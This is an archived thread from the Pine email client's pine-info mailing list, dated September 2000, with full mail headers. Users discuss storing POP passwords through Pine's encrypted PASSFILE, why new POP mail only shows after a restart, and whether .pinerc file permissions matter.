List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Eduardo Chappa <chappa@math.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Syntqax for inbox entries in pinerc or .pinerc files
In-Reply-To: <Pine.LNX.4.21.0009140929040.23428-100000@ns.shellworld.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Walt Smith <ka3agm@ns.shellworld.net>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

*** Walt Smith (ka3agm@ns.shellworld.net) wrote in the pine-info list
about "Syntqax for inbox entries in pinerc or .pinerc files" today:

:) Is there any way to include the password in these entries so as to avoid
:) having to type them in when I want to access a remote mailbox?  For
:) example, take the following and tell me how/where to include a password:
:) 
:) {mail.myisp.com/pop3/user=myaccount}inbox

If this were possible it would be very unsecure, as the password would be
in plain text, for anyone to read, the syntax does not support this, what
you have to do instead is define a PASSFILE file in your os.h file and
create an empty file with the name you define in your PASSFILE variable in
the same directory where your .pinerc file is, rebuild,  and after you've
done that, pine will start asking you if you want to save your password in
the PASSFILE, and then you'll be able to access any incoming folder
without the need to enter your password. Entries in the PASSFILE are
encrypted, so that makes it a little bit safer.

-- 
Eduardo
http://www.math.washington.edu/~chappa/pine/


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 02:12:14 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA24373;
	Fri, 15 Sep 2000 02:12:12 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA27871;
	Fri, 15 Sep 2000 02:12:12 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA08509;
	Fri, 15 Sep 2000 02:11:35 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA76644
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 02:10:24 -0700
Received: from stork.EMBL-Heidelberg.DE (stork.EMBL-Heidelberg.DE [192.54.41.54])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA17968
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 02:10:22 -0700
Received: from black.embl-heidelberg.de (black.EMBL-Heidelberg.DE [192.54.41.49]) by stork.EMBL-Heidelberg.DE (8.8.4/8.8.4) with ESMTP id LAA14484 for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 11:10:20 +0200 (MDT)
Message-Id: <Pine.GSO.4.20.0009151103140.21504-100000@black.embl-heidelberg.de>
Date: Fri, 15 Sep 2000 11:10:18 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Antje Koschel <Antje.Koschel@EMBL-Heidelberg.de>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: pine + POP
In-Reply-To: <Pine.OSF.4.21.0009141027210.17887-100000@goedel1.math.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: koschel@black.embl-heidelberg.de
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN



Hi,

I just tried to read mail with pine and POP having
the inbox configured as {pop.server/pop3:110}inbox .

It checks for mail when I start pine but then pop connection stays until timeout
or until I quit pine. And checking for mail that has arrived in the meantime is
not possible. A restart of pine is necessary. Is there a way to change this?

Thanks,
Antje




-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 02:39:38 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA03739;
	Fri, 15 Sep 2000 02:39:35 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA07948;
	Fri, 15 Sep 2000 02:39:34 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA08810;
	Fri, 15 Sep 2000 02:38:34 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA59598
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 02:37:54 -0700
Received: from moose.uvm.edu (moose.uvm.edu [132.198.101.60])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA03318
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 02:37:53 -0700
Received: from gnu.uvm.edu (gnu.uvm.edu [132.198.101.64])
	by moose.uvm.edu (8.9.3/8.9.3) with ESMTP id FAA55384
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 05:37:52 -0400
Received: from localhost (ashawley@localhost)
	by gnu.uvm.edu (AIX4.3/UCB 8.8.8/8.8.7) with ESMTP id FAA134428
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 05:37:52 -0400
Message-Id: <Pine.A41.4.21.0009150535110.137042-100000@gnu.uvm.edu>
Date: Fri, 15 Sep 2000 05:37:52 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Aaron S. Hawley" <Aaron.Hawley@uvm.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine + POP
In-Reply-To: <Pine.GSO.4.20.0009151103140.21504-100000@black.embl-heidelberg.de>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: gnu.uvm.edu: ashawley owned process doing -bs
X-Sender: ashawley@gnu.uvm.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Pine FAQ #

5.5 Why is it that I have to exit and reopen Pine in order to receive new
mail? 

http://www.washington.edu/pine/faq/usage.html#5.5

the only way around the behavior is using IMAP account, or using a MTA
(Mail Transfer Agent) like fetchmail (I think).

aaron

On Fri, 15 Sep 2000, Antje Koschel wrote:

> 
> 
> Hi,
> 
> I just tried to read mail with pine and POP having
> the inbox configured as {pop.server/pop3:110}inbox .
> 
> It checks for mail when I start pine but then pop connection stays until timeout
> or until I quit pine. And checking for mail that has arrived in the meantime is
> not possible. A restart of pine is necessary. Is there a way to change this?
> 
> Thanks,
> Antje

-- 
Aaron.Hawley@uvm.edu  -> http://www.uvm.edu/~ashawley
===========================================================================
Pine 4.21 E-Mail-> www.washington.edu/pine
small,fast,simple,complex,open,Free!


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 06:52:17 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA30726;
	Fri, 15 Sep 2000 06:52:16 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA00476;
	Fri, 15 Sep 2000 06:52:15 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA10928;
	Fri, 15 Sep 2000 06:50:34 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA59538
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 06:49:07 -0700
Received: from tao.agoron.com (andy@tao.agoron.com [206.181.233.66])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA19627
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 06:49:07 -0700
Received: from localhost (andy@localhost)
	by tao.agoron.com (8.9.3/8.9.3) with ESMTP id JAA20070;
	Fri, 15 Sep 2000 09:49:04 -0400 (EDT)
Message-Id: <Pine.BSI.4.21.0009150947001.19715-100000@tao.agoron.com>
Date: Fri, 15 Sep 2000 09:49:02 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Andy Malato <andy@tao.agoron.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine + POP
In-Reply-To: <Pine.A41.4.21.0009150535110.137042-100000@gnu.uvm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: "Aaron S. Hawley" <Aaron.Hawley@uvm.edu>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

This is weird, cause I run pine and as I am reading I get notified of new
messages that come in.  The reason this works is cause I run pine on the
actual mail server, I am running pop3 and sendmail and sendmail is using
mail.local to deliver mail locally to people's inbox.  Is this working
because I run pine on the actually mail server?

	---Andy



On Fri, 15 Sep 2000,
Aaron S. Hawley wrote:

> Pine FAQ #
> 
> 5.5 Why is it that I have to exit and reopen Pine in order to receive new
> mail? 
> 
> http://www.washington.edu/pine/faq/usage.html#5.5
> 
> the only way around the behavior is using IMAP account, or using a MTA
> (Mail Transfer Agent) like fetchmail (I think).
> 
> aaron
> 
> On Fri, 15 Sep 2000, Antje Koschel wrote:
> 
> > 
> > 
> > Hi,
> > 
> > I just tried to read mail with pine and POP having
> > the inbox configured as {pop.server/pop3:110}inbox .
> > 
> > It checks for mail when I start pine but then pop connection stays until timeout
> > or until I quit pine. And checking for mail that has arrived in the meantime is
> > not possible. A restart of pine is necessary. Is there a way to change this?
> > 
> > Thanks,
> > Antje
> 
> -- 
> Aaron.Hawley@uvm.edu  -> http://www.uvm.edu/~ashawley
> ===========================================================================
> Pine 4.21 E-Mail-> www.washington.edu/pine
> small,fast,simple,complex,open,Free!
> 
> 


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 06:58:32 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA12594;
	Fri, 15 Sep 2000 06:58:30 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA00599;
	Fri, 15 Sep 2000 06:58:30 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA12199;
	Fri, 15 Sep 2000 06:57:29 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA21636
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 06:57:03 -0700
Received: from george.he.net (george.he.net [216.218.157.2])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA04748
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 06:57:03 -0700
Received: from corten5.pacbell.net (adsl-63-193-247-201.dsl.snfc21.pacbell.net [63.193.247.201]) by george.he.net (8.8.6/8.8.2) with ESMTP id GAA09297; Fri, 15 Sep 2000 06:56:59 -0700
Message-Id: <Pine.BSO.4.21.0009150649040.21480-100000@corten5>
Date: Fri, 15 Sep 2000 06:53:52 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Bill Schoolcraft <bill@wiliweld.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine + POP
In-Reply-To: <Pine.A41.4.21.0009150535110.137042-100000@gnu.uvm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: "Aaron S. Hawley" <Aaron.Hawley@uvm.edu>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: bill@corten5
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

At Fri, 15 Sep 2000 it looks like Aaron S. Hawley composed:

ASH-->Pine FAQ #
ASH-->
ASH-->5.5 Why is it that I have to exit and reopen Pine in order to receive new
ASH-->mail? 
ASH-->

...............I had a situation where I left my machine on all
night and didn't want to hear the BEEP when a message arrived and I
also use fetchmail. I ended up setting my "mail-check-interval" to
"0" (zero) and then I use ^L to pull my mail from my
inbox. Sometimes it tells me it's an invalid command but it always
works the second try. On occassion I have to restart fetchmail but
that's a fetchmail thing, not Pine.


--
Bill Schoolcraft           http://wiliweld.com
PO Box 210076	        San Francisco, CA 94121	

  " Ofortunatos nimium, sua si bona norint! "



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 07:17:08 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA09415;
	Fri, 15 Sep 2000 07:17:07 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA13163;
	Fri, 15 Sep 2000 07:17:06 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA11774;
	Fri, 15 Sep 2000 07:16:17 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA25128
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 07:15:47 -0700
Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA24375
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 07:15:46 -0700
Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40])
	by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id KAA48906
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 10:15:45 -0400 (EDT)
Received: from localhost (gopalan@localhost)
	by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id KAA15037
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 10:15:45 -0400 (EDT)
Message-Id: <Pine.OSF.4.21.0009151012580.15039-100000@pearl.cs.sc.edu>
Date: Fri, 15 Sep 2000 10:15:44 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Gopi Sundaram <gopalan@cs.sc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine + POP
In-Reply-To: <Pine.BSI.4.21.0009150947001.19715-100000@tao.agoron.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Fri, 15 Sep 2000, Andy Malato wrote:

> This is weird, cause I run pine and as I am reading I get notified
> of new messages that come in.
<snip>
> Is this working because I run pine on the actually mail server?

Yes. The notification problem is only when you are accessing your mail
via POP. In this case, you may be reading a locally mounted mail spool
file.

In any case, as I recall (from about 5 years ago), I didn't have to
actually restart Pine. I just had to close my Inbox and come back to
it to get my new messages. I would usually do this by going to my
sent-mail folder, and then coming back to the Inbox. I haven't use POP
in those 5 years, so I don't know if this still works.

Gopi.

-- 
Gopi Sundaram
gopi@cs.sc.edu


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 10:44:12 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA15532;
	Fri, 15 Sep 2000 10:44:11 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA07352;
	Fri, 15 Sep 2000 10:44:10 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA20789;
	Fri, 15 Sep 2000 10:42:56 -0700
Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA61862
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 10:40:54 -0700
Received: from dante31.u.washington.edu (leibrand@dante31.u.washington.edu [140.142.15.213])
	by jason02.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id KAA41420
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 10:40:52 -0700
Received: from localhost (leibrand@localhost)
	by dante31.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA52734
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 10:40:52 -0700
Message-Id: <Pine.A41.4.29.999.0009151038590.141908-100000@dante31.u.washington.edu>
Date: Fri, 15 Sep 2000 10:40:52 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Scott Leibrand <leibrand+pine@u.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine + POP
In-Reply-To: <Pine.OSF.4.21.0009151012580.15039-100000@pearl.cs.sc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: leibrand@dante31.u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Fri, 15 Sep 2000, Gopi Sundaram wrote:

> In any case, as I recall (from about 5 years ago), I didn't have to
> actually restart Pine. I just had to close my Inbox and come back to
> it to get my new messages. I would usually do this by going to my
> sent-mail folder, and then coming back to the Inbox. I haven't use POP
> in those 5 years, so I don't know if this still works.

With Pine 4.21, Pine keeps the INBOX open until you quit the program.  So
what you describe will work if your POP mailbox is an Incoming Folder, but
not if it's defined as your primary INBOX.

-- 
Scott Leibrand
leibrand+pine@u.washington.edu            (Yes, that is a valid address.)
http://students.washington.edu/leibrand
http://www.nwlink.com/~leibrand
* RCW 19.190 notice: This email address is located in Washington State. *
* Unsolicited commercial email may be billed $500 per message.          *




From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 15:47:55 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA06498;
	Fri, 15 Sep 2000 15:47:53 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA29546;
	Fri, 15 Sep 2000 15:47:53 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA04178;
	Fri, 15 Sep 2000 15:47:21 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA67196
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 15:46:35 -0700
Received: from vax.area.com (vax.area.com [216.218.218.27])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id PAA13083
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 15:46:35 -0700
Received: (qmail 7507 invoked by uid 1828); 15 Sep 2000 22:46:34 -0000
Message-Id: <Pine.GSO.4.21.0009151543020.5292-100000@vax.area.com>
Date: Fri, 15 Sep 2000 15:46:34 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Matt Ackeret <mattack@area.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PINE-INFO digest 879
In-Reply-To: <200009150705.AAA24059@lists4.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

>From: Walt Smith <ka3agm@ns.shellworld.net>
>These controls are not Pine-dependent, but are really emulator-specific.  
>I don't know if it's possible to remap emulator keystrokes in your setup,
>but this is about the only way you'll accomplish what you want.

How is this emulator specific?  The original questioner was talking about
the pico keystrokes.  (I presume it's still pico keystrokes even in the
headers..  I turned on the alternate editor as fast as I could when I started
using pine.  It would be torture if I had to use pico.)

>From: Eduardo Chappa <chappa@math.washington.edu>
>*** Walt Smith (ka3agm@ns.shellworld.net) wrote in the pine-info list
>about "Syntqax for inbox entries in pinerc or .pinerc files" today:
>
>:) Is there any way to include the password in these entries so as to avoid
>:) having to type them in when I want to access a remote mailbox?  For
>If this were possible it would be very unsecure, as the password would be
>in plain text, for anyone to read, the syntax does not support this, what

Yikes..  Why does the .pinerc have world-read privs?
  30 -rw-r--r--   1 mattack  users      15025 Sep  6 14:54 .pinerc

If *I* have read privs on the file, doesn't pine then run as my userid?
So if I chmod o-r .pinerc, wouldn't it _not_ be insecure?  At least people
couldn't casually read the password.


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 20:25:04 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA28503;
	Fri, 15 Sep 2000 20:25:03 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA22714;
	Fri, 15 Sep 2000 20:25:03 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA27892;
	Fri, 15 Sep 2000 20:23:57 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA166636
	for <pine-info@lists.u.washington.edu>; Fri, 15 Sep 2000 20:23:15 -0700
Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA07297
	for <pine-info@u.washington.edu>; Fri, 15 Sep 2000 20:23:15 -0700
Received: from goedel1.math.washington.edu (goedel1.math.washington.edu [128.95.224.10])
	by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id UAA65649;
	Fri, 15 Sep 2000 20:22:08 -0700 (PDT)
Message-Id: <Pine.OSF.4.21.0009152020580.51291-100000@goedel1.math.washington.edu>
Date: Fri, 15 Sep 2000 20:23:13 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Eduardo Chappa <chappa@math.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PINE-INFO digest 879
In-Reply-To: <Pine.GSO.4.21.0009151543020.5292-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Matt Ackeret <mattack@area.com>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

*** Matt Ackeret (mattack@area.com) wrote in the pine-info list about "Re:
PINE-INFO digest 879" today:

:) >If this were possible it would be very unsecure, as the password would be
:) >in plain text, for anyone to read, the syntax does not support this, what
:) 
:) Yikes..  Why does the .pinerc have world-read privs?
:)   30 -rw-r--r--   1 mattack  users      15025 Sep  6 14:54 .pinerc
:) 
:) If *I* have read privs on the file, doesn't pine then run as my userid?
:) So if I chmod o-r .pinerc, wouldn't it _not_ be insecure?  At least people
:) couldn't casually read the password.

It would still be insecure, if you ever leave your computer unattended,
your password will be there for any one to see, while you come back. It
has to be encripted.

-- 
Eduardo
